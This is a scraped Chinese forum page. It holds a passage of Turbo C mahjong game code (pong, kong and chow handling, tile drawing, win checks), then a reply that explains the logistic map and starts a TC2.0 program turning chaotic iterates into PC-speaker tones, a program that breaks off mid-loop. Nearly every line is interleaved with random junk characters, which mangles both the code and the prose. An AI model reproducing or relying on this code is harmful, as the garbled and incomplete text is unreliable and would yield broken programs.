if(every==5)
9 A4 L* k, f8 X5 n: q" j+ Y{
) X2 `$ m4 K1 ?3 @# |x1=120;% P! M: y3 X1 E( p4 O$ z# U
y1=165;1 o4 m0 Q" {' w) @, K' ^6 ~
fillRectangle(x1,y1,x1+20,y1+4,0);
; Q) M/ M* Z- u. R; P}$ i0 L* K; F4 \3 J( L% G! W
if(every==6)
6 W; n! ?6 C; j% e4 _4 {0 @{
3 a, J+ ]2 i3 ]8 Y4 {. \  Sx1=140;
3 ~) C( Z3 l8 A! Py1=165;
+ N2 R3 ~0 d1 s/ xfillRectangle(x1,y1,x1+20,y1+4,0);
/ _# D' B! p+ j( [' I% T3 f}
) p* p$ R! X( p7 k# \0 |if(every==7)8 I! h* `. {% U3 m$ v
{
( v4 d7 u' D2 Y" j+ x8 @# }3 px1=160;, t! F6 O( P2 B0 {3 B8 b
y1=165;6 Z5 m" R6 ~! W; H
fillRectangle(x1,y1,x1+20,y1+4,0);
6 w% q. Y  O$ @: o}
6 Q1 y$ [. z$ [" Z; M0 \1 H! `if(every==8)
0 {. {- C% r; S/ X. [{. R9 ^' [) L" n& f) l) c% s8 _
x1=180;
8 K. Q5 \* z' v1 d' q3 Xy1=165;* E) _0 I% y0 P. u0 ?+ l
fillRectangle(x1,y1,x1+20,y1+4,0);6 L: ^: Z% _: Q% G& `: Q
}
& n5 Z% k2 A8 ^9 C- c, \) wif(every==9)8 t9 E$ n/ G( Y- o$ {
{
8 \7 [+ F/ d. l0 Z1 Y  ?8 Fx1=200;
* m, R3 W! A, Q3 U/ g" f3 \9 `" yy1=165;* g7 k% q) w( A  O+ }3 s
fillRectangle(x1,y1,x1+20,y1+4,0);4 h% o5 X# i1 M5 e  B
}! T* R9 u' \9 P! D+ z
if(every==10)
' Y4 ]7 I, A5 s+ J4 ^. o{
8 P9 ^0 U' E+ ex1=220;
6 P" E1 t& Y8 F+ m( @; S5 ^! i$ O% Py1=165;% h& X1 @) o' z% s( U
fillRectangle(x1,y1,x1+20,y1+4,0);+ w; s6 Q4 J, L1 `) V! |
}8 I* k! M8 z9 d  F
if(every==11)
6 s: a, H2 e6 i{& X/ Y& G- j, Z
x1=240;
. @  z$ H: d: v" B+ k; G% Yy1=165;
6 @: o9 j2 y5 Q( o: e& X0 ]fillRectangle(x1,y1,x1+20,y1+4,0);
! {# ~1 a( }: ~, ?+ G0 Q}
% d, f$ o. z1 e/ z3 Xif(every==12)- v% N) c9 a3 q! s+ N: B
{
2 c: W1 j0 k* z4 E& Q) e/ lx1=260;* d4 F: j( z$ a5 `2 F
y1=165;
" U% |2 \7 E) o) R1 afillRectangle(x1,y1,x1+20,y1+4,0);
( ~- P' W4 P. Y}* W" F6 m' c* I( e" ^
2 r; S0 \' N' I$ b) W
zz=0;6 O1 ~- _! f9 k/ |' Q2 ^, z0 y7 ~
every++;  _) d3 M! c# T
z=z+20;  h: j- N' p) a# R  \6 P
}
( W4 s* j( v6 o: _, Y9 Pshowbmp(every);- h' J7 d9 L5 s! k9 K0 o3 E3 f! g
key=keyy;
# Z4 t5 B: x7 U& A" Q. A" fif(keyy==ENTER)3 i% b2 W2 G$ a' B# J3 f
{- y. ~3 X6 K( I
rgzn(every); /*********************// [# D- a# u. d! x
if(sing==1) /*如果可以乓,做相应的处理*/
3 J) V7 p) b6 B  L8 o( W5 L{ 2 w+ P& N; K1 \8 J: J# Z3 V
kkk=0;! w7 Y8 P% i, j- p
kkkk=0;! o1 ]4 J9 \. M8 g+ _
while(kkk&lt;=computer.m)
+ P( p1 Z8 C1 }( \{
1 j4 @+ Q$ K0 k- M' h$ S% t" ~if(computer.pp[kkk].p!=1)$ n2 Z9 {: S' N7 {. K
{
% `2 L; s8 Y) [+ Q# lcomp.pp[kkkk].k=computer.pp[kkk].k;
) Y9 Y  ?8 [2 O8 y9 A( gcomp.pp[kkkk].oneorfour=computer.pp[kkk].oneorfour;
+ h1 a1 T( {1 |; p6 n' `5 Rcomp.pp[kkkk].number=computer.pp[kkk].number;) x6 O7 b- T; F. W/ K% e
kkkk++;
0 U, D0 o8 K- R, A  p* ?6 y! G0 v}. O* @' J; N" u% i. s8 U7 Z
else
9 J4 e9 P+ k% U) Q7 T{
+ H$ u! e5 @% y( _0 I) N- Sm[computer.pp[kkk].number].data1=1;+ _; M; N* T+ {* ]
dwei=computer.pp[kkk].number;
: Z( u+ b5 u4 V6 V* Gcomputer.pp[kkk].p=0;/ s+ D8 u7 K0 U$ N" P1 R
}
/ e4 I, `& c6 U8 vkkk++;
: c# y0 ?3 ~0 i' d% n}) _) \, Q6 l2 U' T
ll=0;
: Q8 y4 |3 o7 L% G* N: e& B# X9 E
while(ll&lt;3)$ Y6 V: y1 Y6 x) u$ L$ F7 |( K  N. O
{ zl=zl+20;" e" E2 m% |- L
bmpp(dwei); /*显示乓的牌*/
0 ~& f) g6 Y$ tll++;
& X, x/ E/ D1 D* M# a+ l}
4 _3 ?% M4 q9 D) Z  E( X! F
3 v9 l+ e/ |/ Q" R( _zl=zl+9600-60;
3 i. d+ c+ p' N& |- b  S. Z, pkkk=0;& h6 l) c3 C+ {2 N+ B
computer.m=computer.m-2;
" \) g1 V1 D% Dwhile(kkk&lt;=computer.m)% P2 Y4 W+ G- H; j0 R
{9 Q* V8 B+ n4 q, I7 X3 F: q+ z
computer.pp[kkk].k=comp.pp[kkk].k;
' c; L( s  @+ |5 }2 Lcomputer.pp[kkk].oneorfour=comp.pp[kkk].oneorfour;
1 X# v2 ~0 {3 z5 icomputer.pp[kkk].number=comp.pp[kkk].number;
  T3 K( @2 a8 {kkk++;5 h# Y' g& S# N8 \7 S( w
}
: l+ ^  T7 a2 Z/ r9 W6 S; Oll=0;
- H6 ~+ v* T0 M7 S& X/ K: S9 H2 Vtemp=random(computer.m); /*出牌等待完善*/9 l: Z" n3 V1 ?* y# }
zyy=zyy+9280+20;& u1 [8 x# w* ]4 Z# P8 A, |
showcbmp(temp);
4 P5 k/ I6 ?9 h$ x1 d" ?0 }zyy=zyy-9280;
% P* |; l) t0 u/*****/
# g7 {$ S4 o9 x4 _5 y5 K$ Frgznme(temp);
( X% L( [0 t  q/ Cpanduan();
+ F; W0 K( S7 _( z. n: D1 uif(me.m==0)- W9 \* [% a. B# j: Q( j; C+ \
if(second==1 &amp;&amp; threes==0). }+ {9 A1 K6 b4 y/ B
printf("you win!");
/ H8 j5 W; E! ^- X; I6 @0 Gif(me.m==3)
* x6 l' L3 a. s8 _. w5 z7 lif(second==1 &amp;&amp; threes==1)
& U& `0 u& O2 b/ _+ k6 _- Oprintf("you win!");
$ C' Q" a: T" d5 [. U  q8 o/ fif(me.m==6)- c3 l% i! ]$ C+ a/ A, D
if(second==1 &amp;&amp; threes==2)7 n+ T% L+ q+ W; g$ z4 d" m0 O/ o0 H
printf("you win!");; d6 M( N/ v8 Y! P2 Z
if(me.m==9)
, D6 W: z7 B9 c# `+ [1 Vif(second==1 &amp;&amp; threes==3)/ G% l1 T0 {( n' s7 r1 H
printf("you win!");
* l  p8 I* T  W  lif(me.m==12)" U5 k& x% Z, X% f8 V2 s6 o0 U0 W
if(second==1 &amp;&amp; threes==4)) \& N' e1 G; n
printf("you win!");
0 F8 b+ Q; _6 j0 ?8 K
( }, z& l, ^1 V' gkkk=0;
/ T8 j( K. h) }9 w, r2 T1 ]kkkk=0;7 k5 j7 N! {) @7 F6 h
while(kkk&lt;=computer.m)
; y. Q% r# c+ ]" T9 k7 k( F! T{  v$ g$ R% X- n2 W6 d  g3 A- z
if(kkk!=temp); w2 z, W4 h2 ~% P/ I$ V
{
' p1 o) F, ?- S  u" X+ ecomp.pp[kkkk].k=computer.pp[kkk].k;8 A' @7 e6 z1 K" s+ |
comp.pp[kkkk].oneorfour=computer.pp[kkk].oneorfour;
" u5 H5 |( j, }' E: H  S/ zcomp.pp[kkkk].number=computer.pp[kkk].number;
7 v$ x# h7 e# M$ [( Fkkkk++;
5 `: a- ~3 E$ j5 ~" U}
, K6 M* B4 |/ a1 @0 lelse; J& j% _/ a' g' g0 |( H. T
m[computer.pp[kkk].number].data1=1;5 |3 Z+ Y! D  r
kkk++;
/ p+ k) `: P' L& R) D) v}3 n* I0 F' q/ z# U, w6 T/ b! V" q
kkk=0;! @9 O& y$ K7 n' O, i1 @9 O
computer.m=computer.m-1;
# i% f: |: g, T, J) Iwhile(kkk&lt;=computer.m)
: r& H6 L  a6 W& j{- Z; A* }8 q( [
computer.pp[kkk].k=comp.pp[kkk].k;
/ W( o* \& U' ucomputer.pp[kkk].oneorfour=comp.pp[kkk].oneorfour;+ z0 j& k# C. E) n: o
computer.pp[kkk].number=comp.pp[kkk].number;, C2 d3 |+ i* G7 b% W9 K  W0 L  y
kkk++;
3 T0 r9 [' H: `: j9 k. q}: k5 Y6 o- N5 f2 B
fillRectangle(0,0,320,30,0);
: c* m( ]$ W- k2 d8 fn=computer.m;, L6 [# U& {# B7 {: F+ {/ ~5 L; t" Y
ll=0;/ y. M. u7 K& ~( }' o
zy=0;
5 r# s2 \( D) gwhile(ll&lt;=n)
& R( V  L, y( X, c0 A# f{) W( d, g* [2 P" R, r
zy=zy+20;
% B$ H% e# q; T! c+ P+ Ushowybmp(ll);
  b! ?5 U0 s) ~1 d. kll++;
) I- j2 E' M: C  |' O}
4 f& |2 {# r; e+ z- [- p$ |ll=0;  a- n3 M) B; O/ f
getch();
' c: R  X# a7 p; K* ]! ksing=0;
9 C8 r" S1 Z9 C. M6 gsing1=1;$ C. U. x* G9 T
}9 n6 F: O) m5 g8 Y7 j& E& Z9 Q
$ q6 f1 s/ o: S9 C) E' ^
if(sing==2) /*如果可以杠的做相应处理*/
6 p! ~$ {, `/ o1 ]. K{
' p# }8 D# S/ A. h2 K1 ^, D, f2 Tkkk=0;
8 u5 i; t/ B/ Q: `4 V' H' ykkkk=0;! T+ e+ x0 H' c! ^5 e6 y# |+ l9 _4 h
while(kkk&lt;=computer.m)
3 c& J0 s6 v  [' f8 {) J5 j2 X+ e{
9 g6 E, c) Z" |0 G( v9 A9 pif(computer.pp[kkk].g!=1)
8 I3 R/ M1 Y; m+ f  _; C2 G{: Y  V, x3 C* M7 Y
comp.pp[kkkk].k=computer.pp[kkk].k;
0 b% J: u$ A' G. Jcomp.pp[kkkk].oneorfour=computer.pp[kkk].oneorfour;
+ {/ _. u* @+ Tcomp.pp[kkkk].number=computer.pp[kkk].number;
# b# G1 {8 M9 |" F1 g; {kkkk++;
: T1 Y* G. J: A0 ]9 ]}8 Y0 W8 W" O: z' R. ], s7 G
else5 @# M9 C! R1 d, f
{
( F- W5 V$ v. |( r; T/ K& Bm[computer.pp[kkk].number].data1=1;7 ]* I! W% \+ M0 j
dweig=computer.pp[kkk].number;
# P) D2 K( n3 z: u: s6 z! U6 \computer.pp[kkk].g=0;
8 M7 b3 K) i' D; _}" e. P6 A, i; Y, k+ W# N
kkk++;
, p# L7 a( P. w1 @$ x}8 S) B6 p- b" e$ P7 Z, g
ll=0;( @: o0 r7 \; d% \, |5 i7 n
$ G# S% K  y5 i- `% R. h
while(ll&lt;=3)
- n: p6 m* y$ t3 o& x0 p4 r{ zl=zl+20;" r/ ]3 J; D* e: _% U4 F: n
bmpp(dweig); /*显示杠的牌*/# n  q7 |: g- K- ]7 O& r7 I+ L
ll++;8 G+ c( x$ H9 J
}
# B  v1 L) O' B; M$ lzl=zl+9600-60;) x' S5 @& b6 D0 a
kkk=0;4 V+ ~3 B9 F3 K( K: a# F/ M2 w
computer.m=computer.m-3;
# |+ m& P: i0 z# q' A4 fwhile(kkk&lt;=computer.m)% Q" n7 z. ^1 j# f- s9 F
{" Q: S# h$ n' _0 w/ V. {4 _! ?/ H- ^
computer.pp[kkk].k=comp.pp[kkk].k;* Z* ?9 L/ R. e% `/ \
computer.pp[kkk].oneorfour=comp.pp[kkk].oneorfour;
: a, Q. ?+ f# s" f* Y$ @  lcomputer.pp[kkk].number=comp.pp[kkk].number;* f% C# j% ]& Y  O
kkk++;& F, l: u0 P- y
}
& `) v! Y  z7 X$ j: gkk=0;
& K' W% R) I! p( W! t; tcomputer.m++; /*加一个牌的容量*/4 X$ J# l* W5 v" ^8 b7 ?/ L# m
while(kk!=1)4 T: X* c5 V+ Y! M+ k* f# y
{- N: Y5 z4 F4 R9 Q( k/ c
temp=random(136); /*出牌*/
  k3 V; Z6 I/ [! _+ Lif(m[temp].data2==0 &amp;&amp; m[temp].data1==0)
2 T7 M% }/ }' c- ?{
7 X5 J- s: e4 Q7 h* m: Ncomputer.pp[computer.m].k=m[temp].name; /*把136中之一的牌放到电脑的手上*/$ [" D- b7 D" l* Y/ Z/ I- X
computer.pp[computer.m].oneorfour=m[temp].number; /*判断同一个花色中的第几张*/
- L4 G; b6 Y! }4 ?; T8 g% Mcomputer.pp[computer.m].number=temp; /*第几张,用来排序*/, }5 u7 K( ^: S" d& e
m[temp].data2=2; /*判断牌是谁的,2为电脑*/
6 w. i, S( [9 T0 jkk=1;& Y. E1 M$ h/ w' ^# j
}
0 H! R5 q6 g1 ~2 B& H$ k+ g* R}5 ~: t( w! M0 q; }. L
comlipai();
% v+ ^5 ]8 H( J6 mtemp=random(computer.m); /*出牌,等待完善*/8 G- \" T% ?( O  S1 t) Y5 Y! p
zyy=zyy+9280+20;
, j; e' j- b. l" K5 @1 E6 `showcbmp(temp);
# S9 V5 B- h$ O: g# xzyy=zyy-9280;
7 V" A/ Z1 \/ x$ t5 _& x# J* [- f/ S/*****/
; U6 _  L$ B0 D- ]) K5 E2 }6 Crgznme(temp);
% Z1 H6 q' D# s9 i7 d& Xpanduan();# e, t$ ^  X% V& Y
if(me.m==0)
5 O) J! p! j6 C; u/ b$ E2 ^- V9 V$ \if(second==1 &amp;&amp; threes==0)
' D% {6 D7 D# h: a6 Q& y* K$ C3 J# W, oprintf("you win!");
; w$ O) T" ^& `7 V- k9 ~if(me.m==3)
9 a5 s" p( I# T5 q9 U9 l6 yif(second==1 &amp;&amp; threes==1)
3 B7 H0 k, j8 Z* z/ Eprintf("you win!");6 ]' S6 K3 f6 z" R
if(me.m==6)
4 `; p8 p4 {' e7 Aif(second==1 &amp;&amp; threes==2)
* L5 Y) |! K% V1 }. h! ?2 {printf("you win!");
& h* Y) j4 s! N( a# }: \) Iif(me.m==9)
& H3 R& g& R% g. Z, R1 D. B- V% Dif(second==1 &amp;&amp; threes==3)7 a. s3 C8 l, }0 u6 u" Z
printf("you win!");
0 W2 H7 V" G; ?; H- Jif(me.m==12)/ F4 w* A% N. g3 p  Q7 r3 S4 N
if(second==1 &amp;&amp; threes==4)
3 |1 Z9 s; x  Hprintf("you win!");
. o; p* i" F+ @+ J, D+ K2 j4 o
9 ~6 A" ^$ [& n' O* c# h% r- P& xkkk=0;9 E' u7 `+ G, v% z
kkkk=0;
3 {# |6 J/ e  j$ t  ~% F& ywhile(kkk&lt;=computer.m) /*把未选的牌放到零时变量*/
& Q( @. _  I9 N6 r2 y, c; p{  E7 j& L: [( \$ H
if(kkk!=temp)
; m! U6 Y9 Q4 Q$ z4 y7 d{7 [) q$ A( L- w) F1 r/ r2 Q" C
comp.pp[kkkk].k=computer.pp[kkk].k;& S2 L9 |3 @5 i( x
comp.pp[kkkk].oneorfour=computer.pp[kkk].oneorfour;/ b* h% s( V9 w3 c; e
comp.pp[kkkk].number=computer.pp[kkk].number;
0 l2 [. {6 z; s& S0 Tkkkk++;
4 I9 _/ m7 @9 W: b) b}" F3 r3 z" W4 _! @
else) E' B8 T; A5 }" `
m[computer.pp[kkk].number].data1=1;+ @+ L1 b3 O& o9 H- b/ }
kkk++;
" M7 p$ ?7 @- {8 |}, U2 q, ^5 ~6 h
kkk=0;5 y& ]) E; F! E7 Z. h3 O! R5 I
computer.m=computer.m-1; /*把未选到的剩余牌放入电脑手中*/6 @& Y1 D- a2 `
while(kkk&lt;=computer.m) - O+ D3 U5 z/ _
{
6 i2 c. \" X( n( h0 _5 Dcomputer.pp[kkk].k=comp.pp[kkk].k;" B6 p* D. l# i. a
computer.pp[kkk].oneorfour=comp.pp[kkk].oneorfour;* I0 n' D3 U4 d- E% C) P
computer.pp[kkk].number=comp.pp[kkk].number;
, X3 g+ D& t& \% pkkk++;: s; A5 t+ g+ J1 ?
}
; m% y- |4 D9 G' y4 r! AfillRectangle(0,0,320,30,0);0 |" w; U" I5 b; V  B1 y$ o
ll=0;! B+ A2 t- n8 ]; a- Z: {
zy=0;
( ]+ j5 O' c% c# q- Lwhile(ll&lt;=computer.m)
5 J' |3 U% s: O! _$ S- I9 O2 m{/ y7 G0 O7 g% |( n. k
zy=zy+20;
, I. j* q# ?% Y! i+ M$ d& oshowybmp(ll);6 ^7 F9 ]# P- k' g2 K
ll++;: m& ?; b4 ~; V7 I$ b) c! Y
}/ o  c9 B* Y# r" q0 G3 v7 J
sing=0;- O; V! ^, r" D3 o8 _1 K
sing1=1;, B. q! F3 H; g/ _
}
3 B/ s& }1 B* E, Q/ P8 |0 uif(sing==7) /*如果可以吃的,做相应处理*/
( A. s8 S6 a/ p5 ~' @{ nn=0;" Z+ p2 C: y% {, r% v+ i3 |
kkk=0;
" r/ h( |+ u: w/ D- U9 j" @! P& tkkkk=0;
7 s( V: b& [3 ~. ^while(kkk&lt;=computer.m)4 x+ i# R: g% p  a+ ]8 h
{; g; o4 Y# s/ u  w- n% s/ G
if(computer.pp[kkk].c!=1)
  x. A* T' s" X4 y6 J{
% i$ @( T! t# `! Zcomp.pp[kkkk].k=computer.pp[kkk].k;
) E+ J6 g( x/ s3 C$ ?7 Icomp.pp[kkkk].oneorfour=computer.pp[kkk].oneorfour;
: u; W' V5 O& ?9 K- Tcomp.pp[kkkk].number=computer.pp[kkk].number;
; ~( y9 J3 P3 B! H# Ukkkk++;
6 f) r0 r. }( |/ ~; |6 a}
" ~2 ]* H2 t: D* ~) t" }& U# Telse. e4 j6 x% t) S" L% j
{  S+ x4 B* E* D0 [
m[computer.pp[kkk].number].data1=1;
+ \) |8 S" ?. D( d% Jdw[nn++]=computer.pp[kkk].number;
9 A/ g" X( h+ w8 tcomputer.pp[kkk].c=0;
8 B) X" w- M6 _" h# J}6 a4 g4 j4 L; ~' L
kkk++;
6 s# X+ b) ]& z  q$ W: s! n* M2 ?}( K+ h! i8 {" f6 k; z
' \" X) t2 C) y" F. p1 a
if(me.pp[every].number&lt;dw[0])2 d! g8 y8 ^7 |: J
{: k- Y6 i# `7 I
dw[2]=dw[1];
7 D- s" l- K7 B/ S+ j% Gdw[1]=dw[0];$ I- `* v# G" ?" d
dw[0]=me.pp[every].number;
5 p3 T$ S1 ^4 r9 R, H; b0 X, f}: l' B, u1 ]+ Q
if(me.pp[every].number&gt;dw[1]). R) C3 N7 C/ f/ v7 _
{- e6 D& r+ g7 Q. g1 C. e2 P
dw[2]=me.pp[every].number;
, C7 P& h% t* H7 n4 L" B}! s7 w+ F+ S& Q
if(me.pp[every].number&gt;dw[0] &amp;&amp; me.pp[every].number&lt;dw[1])
- ]! d/ T( f8 p1 S  ]: V- M{9 B, E6 O3 T$ k
dw[2]=dw[1];
0 _5 U9 G' P+ Q* Ldw[1]=me.pp[every].number;
# ~! `& n2 z) v% V}5 k# G# `( [2 _9 u
nn=0;, n/ S& @/ s; O; B* x# |
while(nn&lt;3)
. {1 N8 G2 F; d8 S* U' M$ A{ zl=zl+20;" f- n1 J, m: B
bmpp(dw[nn]); /*显示吃的牌*/
8 @  h5 F0 z3 `+ K6 bnn++;
  z* f1 R' ]! W) G( x5 c}
% q, Y. ?" _  k3 G+ x8 vzl=zl+9600-60;+ r( l' V% i. @
kkk=0;' x. G% S6 @/ i6 t# L) \
computer.m=computer.m-2;; Y: g  j1 q2 @" k2 s
while(kkk&lt;=computer.m); |* T' B0 Q6 _. @* l7 v, H
{' l  ~# q, b/ E) O6 k- k3 k3 T( q
computer.pp[kkk].k=comp.pp[kkk].k;
' }+ Z9 ~0 e( R% u: v$ ocomputer.pp[kkk].oneorfour=comp.pp[kkk].oneorfour;
# t1 [8 A# j5 `6 n1 o/ |* y, N) ocomputer.pp[kkk].number=comp.pp[kkk].number;
* w! ~8 \% f; u* E; h. Ckkk++;3 @8 }0 z8 I2 u; n; M
}
- U# @" A, a: z4 m) V: M0 Rll=0;
4 P# I! ]4 T0 g3 _- Ttemp=random(computer.m); /*出牌等待完善*/* h8 a0 h' O. E$ m8 m/ ]
zyy=zyy+9280+20;
2 h* v9 L6 F4 X3 T4 Ishowcbmp(temp);
) g8 y- h: N- S. yzyy=zyy-9280;
/ x! z4 X, A" @" K/*****/
( |9 a' |0 l  A5 qrgznme(temp);
" E  A8 W3 _  G7 cpanduan();
1 w% ]) O. G+ m7 Qif(me.m==0)
$ ]2 }) Z, a  L8 o1 g# v4 k, R& Yif(second==1 &amp;&amp; threes==0)
8 a5 {- b# O3 R5 R3 n5 ^printf("you win!");* ]# M% m7 Y- f* z
if(me.m==3)9 I  X) }: R" E# _
if(second==1 &amp;&amp; threes==1)  z! i* r) P! v- ^; }+ ]: I' v; @
printf("you win!");
+ W0 I: B. p3 `! {if(me.m==6)6 k# t* |' x. Z3 b5 X# R# z7 T8 i
if(second==1 &amp;&amp; threes==2): p8 F( ]/ @' r# N
printf("you win!");2 Y0 ^4 b: p3 e. z' G2 c6 [6 {
if(me.m==9)
4 [5 P, X6 u  V- Nif(second==1 &amp;&amp; threes==3)
) [3 P% f: X8 Z' H$ e" C* C" Nprintf("you win!");
8 t+ j) v0 r# s% g7 Lif(me.m==12)7 k- [6 Y3 G8 [
if(second==1 &amp;&amp; threes==4)
5 g) F) {$ h( L5 W' Hprintf("you win!");* i. c1 z3 M; m0 o/ p% w) ^

& R1 [  T2 V- Y) O  {kkk=0;! N) \: l; K: N
kkkk=0;
+ [- d7 ~3 ]4 C& U- F$ T1 H8 b# ]while(kkk&lt;=computer.m)
. t3 H" _/ ?0 Z& d; h{! y% j4 u' \$ ^: T) @
if(kkk!=temp): e# m+ ~9 p1 O% E& t( I  g
{0 _- ]5 {' P! R2 M/ |0 ?6 E
comp.pp[kkkk].k=computer.pp[kkk].k;
6 A5 w+ y! [4 dcomp.pp[kkkk].oneorfour=computer.pp[kkk].oneorfour;
# B% B  q9 K9 S" Ucomp.pp[kkkk].number=computer.pp[kkk].number;
7 f$ d* \' w" wkkkk++;! O9 Q" ]7 C9 Q( q# d1 [6 x: k) Z
}
) R) x5 i8 N0 W5 Z5 q( k! qelse: J! c. p4 \" \2 x0 J- u* h% T
m[computer.pp[kkk].number].data1=1;7 I" |6 S5 f5 f
kkk++;! J" a# V/ e( q  }3 ^  ^
}
9 V6 j. f4 @, S9 Y2 Dkkk=0;
) d1 a* f+ W& Z& @4 scomputer.m=computer.m-1;/ h4 X6 D# N0 D2 T  x5 g
while(kkk&lt;=computer.m)
8 ], x7 K/ m% U4 R0 V: s{, Y. r8 e9 Z3 v- b* m1 {
computer.pp[kkk].k=comp.pp[kkk].k;
' X9 W$ |' Q4 Y+ _% lcomputer.pp[kkk].oneorfour=comp.pp[kkk].oneorfour;
5 V. E, z. m* M0 X( {) [computer.pp[kkk].number=comp.pp[kkk].number;# a4 ?- a3 i/ `1 K7 v
kkk++;2 e% i$ d$ x- z/ N4 |! J
}
1 T6 o) ?) U# X4 E( a- mfillRectangle(0,0,320,30,0);
' V  `9 H( Y8 H  ?n=computer.m;8 R5 \4 z8 R  n4 d; S, H, c6 @' Y
ll=0;
/ n+ S0 Y7 _% I# Lzy=0;( c) {6 I8 t7 b7 X' ~* R+ q
while(ll&lt;=n)  W. _* p" x$ s( W2 J
{
/ q6 j. P. A3 V2 p7 s# Lzy=zy+20;
. ~7 @! }. W7 ushowybmp(ll);
% _& t: U; A7 B, V6 ]5 l( j, o4 w. y- jll++;) \$ _  S5 r/ ]4 |* k
}
- b8 q/ w% p; N6 t$ d2 d7 k0 l
1 @( ~6 ]2 ]" bgetch();
1 e% e3 R+ F; f- ^# G" [5 ~) Fsing=0;3 \; D% N1 l# P  w9 |7 M
sing1=1;
3 ^  h2 @2 F; ?1 I, y8 c}+ ?8 g& x+ A0 E0 P! h/ |
if(sing==0) /*如果没有可以乓或杠的就标明牌无用*/9 j# ^7 V$ M' u& E1 W3 P" N/ a
{
6 P* f% l2 @. ]kk=0;" a; u- j' x  I* B* F3 L
h=me.pp[every].number;
0 n, J3 [  K3 A6 G# gm[h].data1=1; /*此牌已经无用*/
5 L2 a1 T7 v( ?7 @" R( z4 l1 Vif(sing1!=1)
4 v# b! T1 Q3 c6 E{
: u1 K; B' J9 s7 [2 b  s: n% ezyy=zyy+9280+20;
' r/ ?  q3 X2 I9 ^! |- u& {# ashowbmpd(every);
! a5 G* t4 Y0 m! zzyy=zyy-9280;
1 ?1 u/ p5 A1 K. c) s}+ b5 X5 `# {' D0 |. ~( M
while(kk!=1)* G% F/ B7 y% C2 K3 m2 u
{
- c# c6 t$ \+ s- v7 _8 stemp=random(136);
" [' T0 M9 n3 o5 Qif(m[temp].data2==0 &amp;&amp; m[temp].data1==0)
" N) F- P7 d  I& o2 `8 y# ?  Z; F! g{1 z2 J# s/ @* ?1 i0 _$ @
me.pp[every].k=m[temp].name; /*把136中之一的牌放到我的手上*/
8 N0 ^; |( h' @0 |; Z1 P' k) S9 yme.pp[every].oneorfour=m[temp].number; /*判断同一个花色中的第几张*/
. a1 c2 s' @7 m7 a! rme.pp[every].number=temp; /*第几张,用来排序*/
7 o9 U$ }; z% X  u5 @$ V9 g% Gm[temp].data2=1; /*判断牌是谁的*/
1 m: x  ^. e* Jkk=1;$ M7 |, U# O; ]& `" [- z9 X
}
% Z- m5 s+ t  b2 `- U0 @if(kk==0) /*判断如果又选择了,就从新再选*/
% W: L# X' A  Gkk=0;
' i' ?+ k( K$ ~, `- q: l}
( N$ Z, O) F9 R" F2 J7 @}
; y" _" t* d5 _3 [sing=0;
8 l7 Y% l, M) U, I& c( H) H+ f0 csing1=0;
/ r0 t+ B9 u. {7 R5 _0 {melipai();
: D+ Y% y" P  G0 @n=13;) U8 E. ]: i7 n+ g% [
z1=54400;' |: u# b1 W9 ?% ]& R5 E7 `
l=0;
7 i1 Q( Z4 s1 V) |- Q2 e4 ~g=z;
. v5 w2 l2 }' X5 a. C* N7 ewhile(l&lt;n)
) m$ u3 p1 Q8 P% |( r& }1 C{ z=0;
  K! X2 ]6 U6 `3 X; ]z1=z1+20;
. A: H6 r6 G8 J7 ashowbmp(l);6 l! ?8 L- R; U$ x$ Y  F
l++;
6 O3 F; e9 H) f  _( q! {5 i}5 p: j( n1 s. Z. i$ N% P
z1=0;
' t) g) z$ n* l8 w8 m! W! [z=g;
& [6 M* b' |& o# f}$ b' g* T) O8 D. ]
keyy=0;5 h! x- s5 w8 n* c
}
8 J! r5 a! u, n& y: r" C+ ^+ ~6 {# W; b1 ~
getch();- D* G$ \# @6 z3 A) x" J
OUTVGA;  ]( r9 M2 ~! u4 K
} 2 e' O, l* x! |6 [
</P></DIV>
回复

使用道具 举报

韩冰        

823

主题

3

听众

4048

积分

我的地盘我做主

该用户从未签到

发帖功臣 元老勋章

<DIV align=center><FONT size=3><B><FONT color=#cc0000>聆听混沌的声音</FONT></B></FONT></DIV><DIV align=center><b><FONT color=#cc0000 size=3></FONT></b> </DIV><DIV align=center><>  本世纪70年代初,美国普林斯顿大学的生态学家R·May在研究昆虫群体繁殖规律时提出一个著名的模型: χ[n+1]=k*χ[n]*(1-χ[n])
3 w. S5 B/ u9 G. U# K7 w7 E/ v</P><>  其中χ[n]表示第n代群体的数目。当给定一个初始的χ[0]值,然后不停地迭代,人们发现随着k值的不同,得到的序列χn 有许多有趣的现象。当k值介于0与1之间时,χ[n]经过一定次数的迭代后都趋于0。当k值介于1和3之间时趋于1/k,当k值大于3时,经过一定次数的迭代后χ[n]在2个值之间交替变化,k值增加到3.449附近时,交替变化值又变为4个。继续增加k值,χ[n]交替变化的值的个数依4→8→16→32的次序迅速加倍,终于一片混沌。但当k值在3.835附近时,经过一定次数的迭代后,χ[n]非常简单地在3个值之间交替变化,接着又迅速依3→6→12的次序迅速增长。如此反复,在简单的方程中隐藏着令人惊奇的复杂性。χ[n]随k的变化情况如下图所示:
6 X5 b1 h$ C, v) z
# p- v  v+ K. p) o- e  p  为了体现这种复杂之中的无穷奥妙,下面这个用TC2.0编写的小程序用χ[n]大小来控制PC喇叭的发音频率,设定不同的k值,我们就可以聆听到混沌的声音。+ Y" k4 w! v; X6 A  X  H
  <FONT color=#009900>#include <DOS.H>: n1 V  v+ O+ y2 \% L$ S/ ?3 I
  #include <STDIO.H>
8 P( m# N: a. \7 r, F2 c  main(){
% B! C, [) m0 D6 @& f  int fMin=20,fMax=16000; /*fMin代表最低频率,fMax代表最高频率*/
" p; ^; q0 R0 F: h, u  int fDis,i,j; /*fDis代表最高频率和最低频率之间的差值*/
: L6 |# b0 s9 ~" e4 Y( X9 O8 A  /*i,j用于循环记数*/5 i' ^( h% S8 _9 H! X+ K
  float x=0.1,k; /*x代表x[n]的大小,设定其初始值为0.1,即x[0]=0.1*/' B7 N2 I- i/ s4 Q
  fDis=fMax-fMin;
9 v- S% H0 [3 b# \/ z  for(j=1;;j++){9 j$ R4 L  T- L1 c
  printf("lease input The value of k(1-4.0)\n"); /*输入k值*/  C* a) ?+ x; h) ^& N" n
  printf("If you want to quit,Please input:0\n"); /*如果k=0退出*/! \) Y4 `' x' g4 e& B0 S
  scanf("%f",&k);
) g# @5 c8 w) a! ?  if (k==0) break;
' X, M, ?- v3 h  @9 L9 u  for(i=1;i&lt;100;i++) /*去除开始的100个点*/5 R7 Z. X+ \) J% \% [9 T
  x=k*x*(1-x);
, j8 f3 G4 _$ H$ {# L  for (i=1;i&lt;100;i++){9 K0 [3 ~( H+ N/ ]. c8 y
